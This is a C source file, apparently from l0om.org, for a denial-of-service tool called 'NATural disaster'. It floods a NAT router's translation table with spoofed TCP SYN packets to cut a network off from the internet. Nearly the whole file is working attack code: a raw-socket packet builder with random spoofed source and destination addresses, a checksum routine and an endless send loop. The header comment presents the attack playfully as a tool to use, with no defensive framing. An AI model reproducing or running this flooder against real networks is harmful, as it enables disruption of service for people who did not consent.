/*	l0om.org
	NATural_disaster.c
	
	can we cut off the internet connection of a network as a single host without handling the router?
	yes, we can!  ;)  better formulated: yes, we can if we can connect to the internet with NAT (or PAT).

	every outgoing connection needs a entry in the NAT table of the NATing device. therefore flooding this
	table will shutdown the connection to the forwarded interface which may be connected to the internet. a
	NATural disaster which may work with UDP as well. here we are sending TCP SYN packets with spoofed source
	and destination ip address.
	
	badass@badhost:~> gcc -o natural_distaster natural_disaster.c	
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/time.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
 #define __FAVOR_BSD
#include <netinet/tcp.h>

#define    RANDVAL()    (rand()%254)

ssize_t tcpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, unsigned char flags, char *data, unsigned short datalen);
unsigned short in_cksum(unsigned short *ptr, int nbytes);
static void sig_int(int sig);

struct pseudohdr {              /* for creating the checksums */
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};
unsigned int sent = 0;

int main(int argc, char **argv)
{
  char sip[16], dip[16];
  unsigned int victim;
  unsigned short destport;
  int nbytes;

  if(signal(SIGINT, sig_int) == SIG_ERR) {
    fprintf(stderr, "cannot install signal handler\n");
  }
  srand(getpid()+getppid());
  printf("NATural desaster\n\n");
  while(1 > 0) {    /* i love this one */
    snprintf(sip, 15, "%d.%d.%d.%d",RANDVAL(),RANDVAL(),RANDVAL(),RANDVAL());
    snprintf(dip, 15, "%d.%d.%d.%d",RANDVAL(),RANDVAL(),RANDVAL(),RANDVAL());
    nbytes = tcpsend(inet_addr(sip), // source ip
                     inet_addr(dip), // dest ip
                     RANDVAL()+1024, // source port 
                     ((rand()*rand())%30000), //dest port
                     TH_SYN, NULL,0);
    if(!(sent%100)) usleep(100000);
    if(!(sent%1000)) printf("%u TCP SYN packets have been sent...\n",sent);
    if(!(sent%3000)) sleep(5);
    sent++;
  }
  return(0);
}

ssize_t tcpsend(unsigned int saddr, unsigned int daddr, unsigned short sport,
		unsigned short dport, unsigned char flags, char *data,
		unsigned short datalen)
{
  char *packet;
  struct iphdr *ip;
  struct tcphdr *tcp;
  struct pseudohdr *pseudo;
  struct sockaddr_in servaddr;
  static int realproblem;
  int retval, sockfd, on = 1;

  packet = (char *)malloc((sizeof(struct iphdr)+
			   sizeof(struct tcphdr)+datalen)*sizeof(char));
  if(packet == NULL) 
  {
    perror("malloc");
    return 0;
  }
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons(dport);
  servaddr.sin_addr.s_addr = daddr;

  sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  if(sockfd < 0) {
   free(packet);
   if(errno == EACCES || errno == EPERM) 
    {
      printf("got root?\n");
      exit(-1);
    }
   perror("socket");
   return(0);
 }
 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
   fprintf(stderr, "cannot setservaddr\n");
   free(packet);
   return(0);
 }

 ip = (struct iphdr *)packet;
 tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
 pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct
pseudohdr));

 memset(packet, 0x00, sizeof(packet));
 memcpy(packet+sizeof(struct iphdr)+sizeof(struct tcphdr), data, datalen);

 pseudo->saddr = saddr;
 pseudo->daddr = daddr;
 pseudo->protocol = IPPROTO_TCP;
 pseudo->length = htons(sizeof(struct tcphdr) + datalen);

 tcp->th_sport = htons(sport);
 tcp->th_dport = htons(dport);
 tcp->th_seq = rand() + rand();
 tcp->th_ack = 0;
 tcp->th_off = 5;
 tcp->th_flags = flags;
 tcp->th_win = htons(2048);
 tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) +
		       sizeof(struct pseudohdr) + datalen);

 memset(ip, 0x00, sizeof(struct iphdr));
 ip->version = 4;
 ip->ihl = 5;
 ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen);
 ip->id = rand();
 ip->ttl = 255;
 ip->protocol = IPPROTO_TCP;
 ip->saddr = saddr;
 ip->daddr = daddr;
 ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

 if((retval = sendto(sockfd, packet, ntohs(ip->tot_len), 0,
		  &servaddr, sizeof(servaddr))) == -1) {
      
	  realproblem++;
      if(realproblem == 3)
      {
        perror("sendto");
        exit(0);
      }
      free(packet);
      close(sockfd);
      return(0);
  }
  free(packet);
  realproblem = 0;
  close(sockfd); 
  return(retval);
}

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
  register long	sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1)
  {
    oddbyte = 0;
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }

  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;

  return(answer);
}

static void sig_int(int sig) {
  printf("\n\n\tRECEIVED INTERRUPT SIGNAL - [STOP]\n");
  printf("\t%u packets have been sent\n",sent);
  sleep(1);
  exit(0);
}


